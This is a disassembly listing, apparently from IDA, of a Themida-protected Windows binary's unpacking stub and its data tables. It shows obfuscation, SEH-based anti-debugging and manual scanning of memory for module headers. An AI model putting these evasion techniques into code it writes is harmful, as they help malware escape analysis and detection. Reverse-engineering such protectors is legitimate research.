		dd 0CD000000h, 7F77E776h, 0FFA857h, 2 dup(0)
		dd 23000000h, 5800h, 0
		dd 91000000h, 0EEh, 0
		dd 60000000h, 50006Ah, 54000000h, 696D6568h, 6164h, 1Bh	dup(0)
		dd 5A000000h, 0E1D2BCh,	0
		dd 84000000h, 4FCC5Ch, 5 dup(0)
		dd 0F00h, 0
		dd 11000000h, 111111h, 6 dup(0)
		dd 92000000h, 6800A122h, 0A215h, 3 dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 0E8000000h, 0FD39BEh, 3 dup(0)
		dd 4400A000h, 77E7A1h, 4 dup(0)
		dd 0D4000000h, 85BD81h,	0FF000000h, 7BB186h, 4 dup(0)
		dd 84000000h, 10h dup(0)
		dd 7000000h, 5BB8h, 2 dup(0)
		dd 5C000000h, 0FFFFD6h,	2 dup(0)
		dd 32000000h, 313AFEh, 1, 2 dup(0)
		dd 93000000h, 85h, 0
		dd 77D400h, 8 dup(0)
		dd 18000000h, 0F3005C14h, 54A7h, 2C000000h, 0DD000073h
		dd 20FFA7FFh, 5B7Dh, 0
		dd 27000000h, 58DEh, 0
		dd 0F9000000h, 590Bh, 0
		dd 0F5000000h, 2FBA2h, 2 dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 38000000h, 12FFh, 93000000h,	540057EEh, 0ADF4CFC4h
		dd 2E37178Dh, 0A15Eh, 2	dup(0)
		dd 0CA000000h, 0AFB1h, 0E9000000h, 400h, 19h dup(0)
		dd 0CE000000h, 24A6Bh, 2 dup(0)
		dd 9A000000h, 9A005C07h, 6764E4h, 0
		dd 3C000000h, 0FFBC08h,	5 dup(0)
		dd 23000000h, 5700h, 2 dup(0)
		dd 4B000000h, 0B83916h,	45000000h, 5810h, 3 dup(0)
		dd 4000000h, 7FFE03h, 3	dup(0)
		dd 8F000000h, 604539h, 5 dup(0)
		dd 32000000h, 0FF0000A9h, 3C7FFFh, 25B00h, 0B8000000h
		dd 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	short loc_54A897
		retn	18h
; ---------------------------------------------------------------------------


loc_54A897:				; CODE XREF: Themida_:0054A892j
		mov	eax, [esp+0Ch]
		push	ebx
		call	$+5
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0A1A037h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 17h dup(0)
		dd 0AE000000h, 3C6F98h,	0Ch dup(0)
		dd 0EA000000h, 37DEF9h,	0
		dd 0E5000000h, 0FF0057D1h, 3FFh, 3 dup(0)
		dd 68000000h, 0A0B1h, 2	dup(0)
		dd 0E6000000h, 3400A00Fh, 0A192h, 48E802h, 0B4000000h
		dd 0FFFF91h, 33000000h,	0FF26B4h, 5D000000h, 32597Fh, 2	dup(0)
		dd 23000000h, 16FFA791h, 59D3h,	3 dup(0)
		dd 0D4000000h, 0FFFFDAh, 2 dup(0)
		dd 0C7000000h, 5CD9h, 0E000000h, 53001422h, 0A58Dh, 0E000000h
		dd 0CCh, 5 dup(0)
		dd 0B0000000h, 0A16Ch, 7 dup(0)
		dd 0B1000000h, 70D8ECh,	4 dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 49000000h, 5A38h, 5C001884h,	5CC2h, 7 dup(0)
		dd 60000000h, 0F0004365h, 2377DD59h, 8D005800h,	5668Dh
		dd 77E600h, 7B000000h, 5A8303h,	4 dup(0)
		dd 44000000h, 77E7A1h, 0F7000000h, 0A109h, 3 dup(0)
		dd 34000000h, 0A3B1h, 3	dup(0)
		dd 360h, 3 dup(0)
		dd 24200h, 0
		dd 0ED000000h, 5B98h, 9	dup(0)
		dd 0F8000000h, 0DE80570Dh, 100A12Bh, 3 dup(0)
		dd 0FE000000h, 0B1A1h, 0
		dd 3A000000h, 0A0005848h, 0E000B07Fh, 12FFh, 5 dup(0)
		dd 78000000h, 49h, 3 dup(0)
		dd 75000000h, 400078h, 64000000h, 12FFh, 0
		dd 0A000h, 0
		dd 36000000h, 5B7Ch, 0
		dd 0B8000000h, 1024A6Ch, 0D8000000h, 4001h, 2 dup(0)
		dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 7Eh dup(0)
		dd 0B0000000h, 181FFh, 3 dup(0)
		dd 4D000000h, 0DDC6AFh,	2E000000h, 5825h, 4000000h, 7FFE03h
		dd 4 dup(0)
		dd 97000000h, 785251h, 2 dup(0)
		dd 68000000h, 564D58h, 96000000h, 0FFA60Fh, 8 dup(0)
		dd 10h,	8 dup(0)
		dd 4000000h, 0A47FFE03h, 0FFA7A6h, 6 dup(0)
		dd 54000000h, 77F51Dh, 44000000h, 0ACC246DAh, 0ED00A39Bh
		dd 0FFA791h, 3 dup(0)
		dd 54000000h, 0A0D5h, 0
		dd 4000000h, 7FFE03h, 4000000h,	7FFE03h, 3 dup(0)
		dd 7A000000h, 0F1E21Ah,	0
		dd 1884h, 37000000h, 0A1A0h, 0E1000000h, 809F6Ch, 0
		dd 4B000000h, 0B83916h,	1000000h, 6 dup(0)
		dd 0E6000000h, 583Fh, 6C000000h, 2 dup(0)
		dd 44000000h, 0EAC246DAh, 0ADB5DA9Ch, 558B31h, 9A000000h
		dd 77DD18h, 2 dup(0)
		dd 41000000h, 6D58BED6h, 1EC4BA9h, 4000000h, 76B403h, 0D1000000h
		dd 7, 0
		dd 2C000000h, 73h, 3E000000h, 77E600h, 14000000h, 453BB3h
		dd 18h dup(0)
		dd 27000000h, 0E9713Dh,	0Ah dup(0)
		dd 0C4004000h, 6E0012FFh, 456375h, 0
		dd 9A000000h, 6764E4h, 0Ah dup(0)
		dd 4000h, 3 dup(0)
		dd 48000000h, 0FE2D362Ch, 5D28h, 2 dup(0)
		dd 85000000h, 791477h, 4 dup(0)
		dd 0E7000000h, 100A5A5h, 4000000h, 987FFE03h, 0C8A0751Ah
		dd 0
		dd 0E4000000h, 0
		dd 50000000h, 0FFA6A2h,	3 dup(0)
		dd 5B000000h, 0A191h, 4	dup(0)
		dd 0B8000000h, 5846h, 0
		dd 2B000000h, 0E6000000h, 583Fh, 0
		dd 40000000h, 5CDEh, 4 dup(0)
		dd 9F000000h, 81170E3h,	0F00h, 3 dup(0)
		dd 800191h, 4 dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 80000000h, 77E841h, 0BB000000h, 6C9429h, 0
		dd 4000000h, 7FFE03h, 6	dup(0)
		dd 79000000h, 5441E386h, 12FFh,	66h dup(0)
		dd 97000000h, 785251h, 3 dup(0)
		dd 4000000h, 7FFE03h, 5	dup(0)
		dd 77DD00h, 3 dup(0)
		dd 0D7000000h, 77DD23h,	0
		dd 40000000h, 40001C5h,	7FFE03h, 0
		dd 0FF000000h, 7FFFFFh,	0Dh dup(0)
		dd 0C0000000h, 6960C9h,	2C000000h, 6A000073h, 986212h
		dd 2 dup(0)
		dd 4000000h, 7FFE03h, 6	dup(0)
		dd 32000000h, 73h, 2 dup(0)
		dd 0A000h, 2 dup(0)
		dd 5000000h, 2000009h, 0AFh dup(0)
		dd 0F1000000h, 0DE56E0h, 0
		dd 0FC000000h, 59CFh, 0
		dd 0CC000000h, 0FFA8B9h, 6 dup(0)
		dd 76000000h, 309E2Bh, 5 dup(0)
		dd 1000000h, 4 dup(0)
		dd 58000000h, 0FFh, 3 dup(0)
		dd 0B0000000h, 0FD0221FFh, 77E7A5h, 80000000h, 670B61h
		dd 9 dup(0)
		dd 1884h, 0Ah dup(0)
		dd 88000000h, 0
		dd 3C000000h, 16447h, 4000000h,	7FFE03h, 0EE000000h, 700057A8h
		dd 56CE1Fh, 4B000000h, 0B83916h, 2 dup(0)
		dd 1000000h, 4 dup(0)
		dd 1884h, 0
		dd 27000000h, 579Fh, 0
		dd 54000000h, 12FFh, 5 dup(0)
		dd 20000000h, 384E3Dh, 7 dup(0)
		dd 78000000h, 7	dup(0)
		dd 0D8000000h, 0A37Fh, 0Ah dup(0)
		dd 40000000h, 0FD3DCAh,	2 dup(0)
		dd 0BC000000h, 5A23h, 9000000h,	407B295h, 59E0h, 82000000h
		dd 76E2444Dh, 0F27CEDh,	3 dup(0)
		dd 4000000h, 0AC7FFE03h, 5B97h,	0Bh dup(0)
		dd 31000000h, 0BA1952h,	0
		dd 5C000000h, 5859h, 9 dup(0)
		dd 0CC000000h, 5477DD5Eh, 3C0012FFh, 77E600h, 0
		dd 3B000000h, 0A13Eh, 3	dup(0)
		dd 3E000000h, 0A000h, 0B8000000h, 0FFFF13h, 5 dup(0)
		dd 9E000000h, 44B6AC4h,	7FFE03h, 0
		dd 76000000h, 0EB5155h,	68000000h, 0A232h, 4 dup(0)
		dd 0DB000000h, 5BD6h, 7	dup(0)
		dd 4000h, 15h dup(0)
		dd 0A6000000h, 0A962C3h, 2 dup(0)
		dd 0F000000h, 0A1A0h, 3	dup(0)
		dd 0B3000000h, 5A37h, 0
		dd 0C1000000h, 5949h, 0
		dd 91000000h, 57EEh, 3F000000h,	5BFBh, 3 dup(0)
		dd 46000000h, 0BF1B04h,	7 dup(0)
		dd 73000000h, 0EA1372h,	4 dup(0)
		dd 64000000h, 12FFh, 5 dup(0)
		dd 0AD000000h, 558B31h,	0
		dd 3D000000h, 59FBh, 0Ch dup(0)
		dd 0F000000h, 0A1A0h, 4	dup(0)
		dd 1000000h, 37000000h,	0EE77E7A8h, 1FB5B6h, 0Ah dup(0)
		dd 70000000h, 0
		dd 2 dup(1884h), 0
		dd 0B9000000h, 11237Fh,	0Dh dup(0)
		dd 0F9000000h, 0FFFFE7h, 0
		dd 0FF000000h, 0F2FFFFFFh, 45638Ch, 0
		dd 39000000h, 5	dup(0)
		dd 25D00h, 6 dup(0)
		dd 77E600h, 21h	dup(0)
		dd 0F0000000h, 0D9001446h, 1B86F8h, 0B0000000h,	1F1FFh
		dd 6 dup(0)
		dd 0AD000000h, 1A37178Dh, 595Dh, 0D8000000h, 77E805h, 0
		dd 14000000h, 0AA000E00h, 65630E9h, 0FC77E6D7h,	48001FCh
		dd 7FFE03h, 4 dup(0)
		dd 4000000h, 7FFE03h, 0C1000000h, 0DFh,	0E8000000h, 5A2Dh
		dd 5 dup(0)
		dd 40000000h, 7376B41Bh, 0D7FFA602h, 54E937h, 6	dup(0)
		dd 0F1000000h, 0FF5E5Fh, 0Ah dup(0)
		dd 63000000h, 5000000h,	2E0A2801h, 5825h, 0C3000000h, 0A6124245h
		dd 0D7F207h, 6 dup(0)
		dd 0FB000000h, 73F3B3h,	99000000h, 77E7A0h, 5C000000h
		dd 0D6h, 3 dup(0)
		dd 7F000000h, 34FFFBBEh, 14h, 9	dup(0)
		dd 6C000000h, 0C10054D6h, 5890h, 0
		dd 32000000h, 54h, 4000000h, 7FFE03h, 0
		dd 1000000h, 0
		dd 0F9000000h, 0FFFFE7h, 0Ah dup(0)
		dd 0D7000000h, 5CE3h, 8	dup(0)
		dd 0E8000000h, 0FE00A223h, 5D28h, 23000000h, 0A2h, 4000000h
		dd 47FFE03h, 747FFE03h,	865559h, 8 dup(0)
		dd 4000000h, 67FFE03h, 0B7000000h, 592Dh, 2 dup(0)
		dd 2C000000h, 73h, 4 dup(0)
		dd 4000000h, 7FFE03h, 3	dup(0)
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 2C000000h, 0F2000073h, 5645638Ch, 6F00A1FAh,	19h, 2Bh dup(0)
		dd 1000000h, 0F1000000h, 0FF5E5Fh, 4000000h, 0FF7FFE03h
		dd 77FFFFh, 2 dup(0)
		dd 8D000000h, 59FDh, 0
		dd 0FF000000h, 37DFFBh,	4 dup(0)
		dd 4000000h, 637FFE03h,	43FEF1B4h, 49575C3Ah, 574F444Eh
		dd 79535C53h, 6D657473h, 415C3233h, 50415644h, 2E323349h
		dd 6C6C64h, 39h	dup(0)
		dd 24000000h, 0B039637Ah, 0BFFh, 0C7000000h, 5CD9h, 2 dup(0)
		dd 20000000h, 0D5FFED00h, 719D81h, 2 dup(0)
		dd 2C000000h, 73h, 11h dup(0)
		dd 27000000h, 579Fh, 8 dup(0)
		dd 0A5000000h, 1FFFF28h, 3 dup(0)
		dd 0A4000000h, 12FFh, 29000000h, 99FE4700h, 0A194h, 3 dup(0)
		dd 4000000h, 7FFE03h, 5	dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 0E9000000h, 54DDh, 3	dup(0)
		dd 0FC000000h, 558001FCh, 0FFA313h, 3 dup(0)
		dd 0E6000000h, 583Fh, 0
		dd 5C000000h, 5859h, 0Bh dup(0)
		dd 5C000000h, 0FFFFFFh,	10h dup(0)
		dd 0B2000000h, 0F99F53A3h, 0FFFFE7h, 5 dup(0)
		dd 4DE0h, 3 dup(0)
		dd 5A000000h, 0BABAD56Bh, 5BA2h, 4000000h, 0C47FFE89h
		dd 3, 2	dup(0)
		dd 0F9000000h, 5B1Eh, 2	dup(0)
		dd 2E000000h, 5825h, 7 dup(0)
		dd 58000000h, 0A2466Ch,	2 dup(0)
		dd 96000000h, 953838B5h, 0A599h, 6 dup(0)
		dd 79000000h, 0FE3CDB0Ah, 1E82ABh, 0
		dd 6A000000h, 77D4C9h, 0
		dd 22000000h, 58DBh, 5 dup(0)
		dd 80000000h, 57D4h, 7CE05700h,	18B954h, 0
		dd 54000000h, 710012FFh, 5CEEh,	2 dup(0)
		dd 5E000000h, 3C77E7ACh, 77E708h, 0Ah dup(0)
		dd 54000000h, 9	dup(0)
		dd 0AF000000h, 2338E0B8h, 0FF5E96h, 2 dup(0)
		dd 67000000h, 30000041h, 0F2AA5CF3h, 0FFFF8Ch, 3 dup(0)
		dd 4000000h, 7FFE03h, 0FC000000h, 0FFFF02h, 1025A00h, 3	dup(0)
		dd 4000000h, 7FFE03h, 4	dup(0)
		dd 0E9000000h, 9, 0
		dd 9A000000h, 0A00Ah, 3	dup(0)
		dd 82000000h, 9C77E78Bh, 24A6Bh, 5E000000h, 23h, 0Ah dup(0)
		dd 0EA000000h, 37DEF9h,	3 dup(0)
		dd 0E1000000h, 0F8809F6Ch, 2300583Fh, 5400h, 0F2000000h
		dd 45638Ch, 6 dup(0)
		dd 3C000000h, 77E708h, 0FF000000h, 0B0059F5h, 77F518h
		dd 0
		dd 1B000000h, 1Dh, 4 dup(0)
		dd 0DD000000h, 400A169h, 7FFE03h, 71000000h, 0D750EDBDh
		dd 5CE3h, 1F000000h, 7D1B28h, 9C000000h, 0Eh dup(0)
		dd 37000000h, 8400A19Ch, 0F60521h, 9 dup(0)
		dd 12000000h, 87A5A5h, 9 dup(0)
		dd 0F0000000h, 12FEh, 0B3000000h, 0FF77F7EBh, 93FFFFFFh
		dd 9800A193h, 0FF77E827h, 630057D1h, 0E34C97AEh, 54028B07h
		dd 12FFh, 7 dup(0)
		dd 29000000h, 0F5DFC4h,	4 dup(0)
		dd 0E0000000h, 0B48FDh,	0
		dd 58000000h, 57D4h, 0
		dd 28B00h, 4 dup(0)
		dd 1000000h, 0
		dd 2C000000h, 0DCD688h,	0
		dd 0D2000000h, 0FFA7DAh, 0
		dd 0F7000000h, 0E600A109h, 583Fh, 5 dup(0)
		dd 4000000h, 7FFE03h, 6	dup(0)
		dd 5000000h, 71h, 2 dup(0)
		dd 0B800h, 2 dup(0)
		dd 65000000h, 77CD32h, 55000000h, 0B4E9E8h, 17000000h
		dd 5A3Bh, 3 dup(0)
		dd 12000000h, 5A5Fh, 0E8000000h, 0E977E82Fh, 400h, 0A4000000h
		dd 12FFh, 2 dup(0)
		dd 5D000000h, 0C6005CEDh, 5C1Bh, 4 dup(0)
		dd 0E9000000h, 77EBA6h,	7 dup(0)
		dd 0A0000000h, 2 dup(0)
		dd 37000000h, 77E7A8h, 5 dup(0)
		dd 0EE000000h, 57A8h, 0
		dd 27000000h, 4C9AEBh, 6A000000h, 1F77D4C9h, 5A01h, 5 dup(0)
		dd 10000000h, 3E6BA7h, 42h dup(0)
		dd 91000000h, 7BC07Dh, 4 dup(0)
		dd 0CB000000h, 0CC0054B3h, 5Eh,	1884h, 0
		dd 0D8000000h, 91B2C4h,	3 dup(0)
		dd 0C8000000h, 0FFFFA3h, 10000000h, 5A38h, 0
		dd 0B5000000h, 77E75Ch,	84h dup(0)
		dd 91000000h, 57EEh, 2 dup(0)
		dd 91000000h, 0FFFFEEh,	2 dup(0)
		dd 4000000h, 2C7FFE03h,	0E852F415h, 68000013h, 4B00A215h
		dd 0B83916h, 0
		dd 0C7000000h, 5CD9h, 9	dup(0)
		dd 91000000h, 0FFFFEEh,	3CCh, 1884h, 0FF000000h, 0FFFFFFh
		dd 12000000h, 0E04A49h,	4000000h, 7FFE03h, 4000000h, 7FFE03h
		dd 0
		dd 5B000000h, 3F77E79Dh, 77E7A1h, 3 dup(0)
		dd 3A000000h, 5848h, 5 dup(0)
		dd 12000000h, 0F2005BF5h, 0Ch, 0
		dd 0B0000000h, 54B1h, 3E5953h, 0
		dd 36000000h, 363636h, 0
		dd 5C000000h, 0FFFFAFh,	25B00h,	0
		dd 9E000000h, 684B6AC4h, 77E821h, 3 dup(0)
		dd 0C000000h, 14005847h, 0FFFFFFh, 6 dup(0)
		dd 77F500h, 0
		dd 40000000h, 0EB005CDEh, 5A90h, 0
		dd 0F2000000h, 0FFA7A6h, 2 dup(0)
		dd 18000001h, 5C14h, 0AC000000h, 3 dup(0)
		dd 98000000h, 5	dup(0)
		dd 45000000h, 27A0AFh, 1884h, 9	dup(0)
		dd 0F7000000h, 59D3h, 25C00h, 2	dup(0)
		dd 1000000h, 0C82004h, 23000000h, 5400h, 0
		dd 53000000h, 0C8E872h,	3 dup(0)
		dd 0FF000000h, 0FFFFFFh, 5 dup(0)
		dd 65000000h, 0A87FA71Fh, 0C10057D4h, 0FFF83194h, 0FFFFFFh
		dd 2 dup(0)
		dd 0F000000h, 0FFFFA0h,	45000000h, 5A5Bh, 2C000000h, 5BA1h
		dd 2 dup(0)
		dd 0F2000000h, 45638Ch,	0
		dd 0D8000000h, 0A37Fh, 0
		dd 0E0000000h, 401D7Eh,	0B5000000h, 0B277E75Ch,	5CDCh
		dd 8 dup(0)
		dd 0E9000000h, 18B7h, 0A8000000h, 4 dup(0)
		dd 0CA000000h, 5A28h, 37h dup(0)
		dd 1A000000h, 7CFFA7C0h, 3 dup(0)
		dd 1DF0h, 2 dup(0)
		dd 27000000h, 579Fh, 0
		dd 4000000h, 5903h, 2 dup(0)
		dd 35000000h, 58C8h, 0D0000000h, 1F6E89h, 2 dup(0)
		dd 2000000h, 3 dup(0)
		dd 0E6000000h, 54DAh, 2	dup(0)
		dd 0D0000000h, 0Dh dup(0)
		dd 0DD004010h, 0A169h, 3 dup(0)
		dd 0E000000h, 0CCh, 2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54D067:				; CODE XREF: start:loc_549BC6j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 61134ABh
		mov	[ebp+611145Dh],	edx
		mov	[ebp+61129DDh],	esi
		mov	[ebp+61100B5h],	eax
		cmp	dword ptr [ebp+611159Dh], 0
		jz	short loc_54D09F
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54D09F:				; CODE XREF: start+6D07Dj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+611031Dh],	eax
		push	45h
		call	sub_54D153
		push	783749Ah
		call	sub_54D199
		push	0A894B25h
		call	sub_54D199
		jmp	loc_54D2DD
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54D153	proc near		; CODE XREF: start+6D097p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6113599h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54D16F:				; CODE XREF: sub_54D153+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54D18E
		mov	eax, [ebp+arg_0]
		mov	[ebx+6113503h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54D16F
; ---------------------------------------------------------------------------


loc_54D18E:				; CODE XREF: sub_54D153+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54D153	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54D199	proc near		; CODE XREF: start+6D0A1p start+6D0ABp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 61135E2h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54D1BF:				; CODE XREF: sub_54D199+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54D1BF
		mov	[ebp+var_84], 0
		lea	edi, [edx+6113503h]
		lea	esi, [ebp+var_80]


loc_54D1EF:				; CODE XREF: sub_54D199+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54D1FB:				; CODE XREF: sub_54D199+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54D1FB
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54D1EF
		popa
		leave
		retn	4
sub_54D199	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54D239
; ---------------------------------------------------------------------------


loc_54D235:				; CODE XREF: Themida_:0054D23Cj
		inc	dword ptr [ebp-4]
		inc	esi


loc_54D239:				; CODE XREF: Themida_:0054D233j
		cmp	byte ptr [esi],	0
		jnz	short loc_54D235
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54D2CA
; ---------------------------------------------------------------------------


loc_54D24B:				; CODE XREF: Themida_:0054D2CDj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54D2C1
; ---------------------------------------------------------------------------


loc_54D254:				; CODE XREF: Themida_:0054D2C5j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54D2AE
; ---------------------------------------------------------------------------


loc_54D264:				; CODE XREF: Themida_:0054D2B2j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54D286
		cmp	bl, 39h
		ja	short loc_54D286
		sub	bl, 30h
		jmp	short loc_54D2A8
; ---------------------------------------------------------------------------


loc_54D286:				; CODE XREF: Themida_:0054D27Aj
					; Themida_:0054D27Fj
		cmp	bl, 61h
		jb	short loc_54D298
		cmp	bl, 66h
		ja	short loc_54D298
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54D2A8
; ---------------------------------------------------------------------------


loc_54D298:				; CODE XREF: Themida_:0054D289j
					; Themida_:0054D28Ej
		cmp	bl, 41h
		jb	short loc_54D2A8
		cmp	bl, 46h
		ja	short loc_54D2A8
		sub	bl, 41h
		add	bl, 0Ah


loc_54D2A8:				; CODE XREF: Themida_:0054D284j
					; Themida_:0054D296j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54D2AE:				; CODE XREF: Themida_:0054D262j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54D264
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54D2BE
		mov	eax, [ebp-10h]
		stosb


loc_54D2BE:				; CODE XREF: Themida_:0054D2B8j
		inc	dword ptr [ebp-8]


loc_54D2C1:				; CODE XREF: Themida_:0054D252j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54D254
		add	edx, 4


loc_54D2CA:				; CODE XREF: Themida_:0054D249j
		cmp	edx, [ebp-4]
		jb	loc_54D24B
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54D2DD:				; CODE XREF: start+6D0B0j
		mov	ecx, 7000h
		lea	edi, [ebp+6113728h]


loc_54D2E8:				; CODE XREF: start+6D2D8j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54D2E8
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+611381Ch]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		jmp	loc_54D331
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 7E83h
		dd 0E7F977EBh, 0F67467BAh, 0B4318117h, 731960C0h
		db 79h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54D331:				; CODE XREF: start+6D305j
		movzx	ebx, ax
		sub	eax, edx
		jl	loc_54D34F
		jmp	loc_54D34F
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0E7h, 0Ah, 5Bh
		dd 0B9B18D1Bh, 0FC75F730h
		db 0C8h, 0EDh, 55h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54D34F:				; CODE XREF: start+6D322j start+6D328j
		and	eax, 0FFFFF000h
		stc
		mov	ecx, edx
		xor	edi, edi


loc_54D359:				; CODE XREF: start+6D360j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_54D36E
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_54D376


loc_54D36E:				; CODE XREF: start+6D34Aj
		sub	eax, 1000h
		inc	edi
		jmp	short loc_54D359
; ---------------------------------------------------------------------------


loc_54D376:				; CODE XREF: start+6D358j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+611382Fh]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_54D3B0
		mov	esi, [eax+1Ch]


loc_54D3B0:				; CODE XREF: start+6D397j
		xor	eax, eax


loc_54D3B2:				; CODE XREF: start+6D3B1j
		cmp	eax, 32h
		jz	short loc_54D3D6
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_54D3C7


loc_54D3BE:				; CODE XREF: start+6D3C0j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_54D3B2
; ---------------------------------------------------------------------------


loc_54D3C7:				; CODE XREF: start+6D3A8j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_54D418
		jmp	short loc_54D3BE
; ---------------------------------------------------------------------------


loc_54D3D6:				; CODE XREF: start+6D3A1j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 611383Ah
		lea	eax, [ebp+61137F8h]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54D418:				; CODE XREF: start+6D3BEj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		call	sub_54D43C
		or	al, [ebx+12h]
		insb
		xlat
		sbb	eax, 3A00888Ah
		mov	esp, 8BF5CDDCh
		retn	0B400h
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		add	esi, esp

; =============== S U B	R O U T	I N E =======================================



sub_54D43C	proc near		; CODE XREF: start+6D40Fp

; FUNCTION CHUNK AT 0054D4DB SIZE 0000008C BYTES
; FUNCTION CHUNK AT 0054D576 SIZE 0000002B BYTES

		pusha
		adc	di, 0F2BCh
		movsx	edx, cx
		popa
		pop	ebx
		jo	loc_54D464
		jmp	loc_54D464
; ---------------------------------------------------------------------------
		dw 4474h
		dd 9C7216D0h, 0B8538E00h, 58785864h, 2ED1ED2Ch
